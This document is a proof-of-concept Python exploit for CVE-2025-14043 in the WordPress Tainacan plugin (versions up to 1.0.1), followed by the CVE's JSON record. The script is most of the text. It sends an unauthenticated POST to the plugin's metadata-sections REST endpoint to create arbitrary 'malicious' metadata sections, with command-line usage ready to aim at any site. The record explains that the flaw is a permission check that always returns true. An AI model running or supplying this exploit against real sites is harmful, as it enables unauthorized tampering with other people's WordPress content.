CVE-2025-14043

# CVE-2025-14043 PoC - Unauthenticated Metadata Section Creation # Target: WordPress site with Tainacan plugin <= 1.0.1 import requests import json import sys def create_metadata_section(target_url, collection_id, metadata_name): """ Create arbitrary metadata section without authentication """ endpoint = f"{target_url}/wp-json/tainacan/v2/metadata-sections" headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } payload = { 'name': metadata_name, 'description': 'Malicious metadata section created via CVE-2025-14043', 'slug': metadata_name.lower().replace(' ', '-'), 'collection_id': collection_id, 'enabled': True, 'metadata_type': 'text' } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code in [200, 201]: result = response.json() print(f"[+] Success! Metadata section created: {result.get('name', 'N/A')}") print(f"[+] Section ID: {result.get('id', 'N/A')}") return True else: print(f"[-] Failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False def main(): if len(sys.argv) < 4: print("Usage: python cve-2025-14043.py <target_url> <collection_id> <metadata_name>") print("Example: python cve-2025-14043.py http://wordpress-site.com 123 'Malicious Metadata'") sys.exit(1) target_url = sys.argv[1].rstrip('/') collection_id = sys.argv[2] metadata_name = sys.argv[3] print(f"[*] Targeting: {target_url}") print(f"[*] Target Collection ID: {collection_id}") print(f"[*] Creating metadata: {metadata_name}") create_metadata_section(target_url, collection_id, metadata_name) if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-14043", "sourceIdentifier": "[email protected]", "published": "2025-12-21T03:15:52.153", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Tainacan plugin for WordPress is vulnerable to unauthorized metadata section creation due to missing authorization checks in all versions up to, and including, 1.0.1. This is due to the `create_item_permissions_check()` function unconditionally returning true, which bypasses authentication and authorization validation. This makes it possible for unauthenticated attackers to create arbitrary metadata sections for any collection via the public REST API granted they can access the WordPress site."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/tainacan/tags/1.0.1/classes/api/endpoints/class-tainacan-rest-metadata-sections-controller.php#L363", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/tainacan/trunk/classes/api/endpoints/class-tainacan-rest-metadata-sections-controller.php#L363", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5596a0f0-6bfe-4c6e-a0d6-117e13117098?source=cve", "source": "[email protected]"}]}}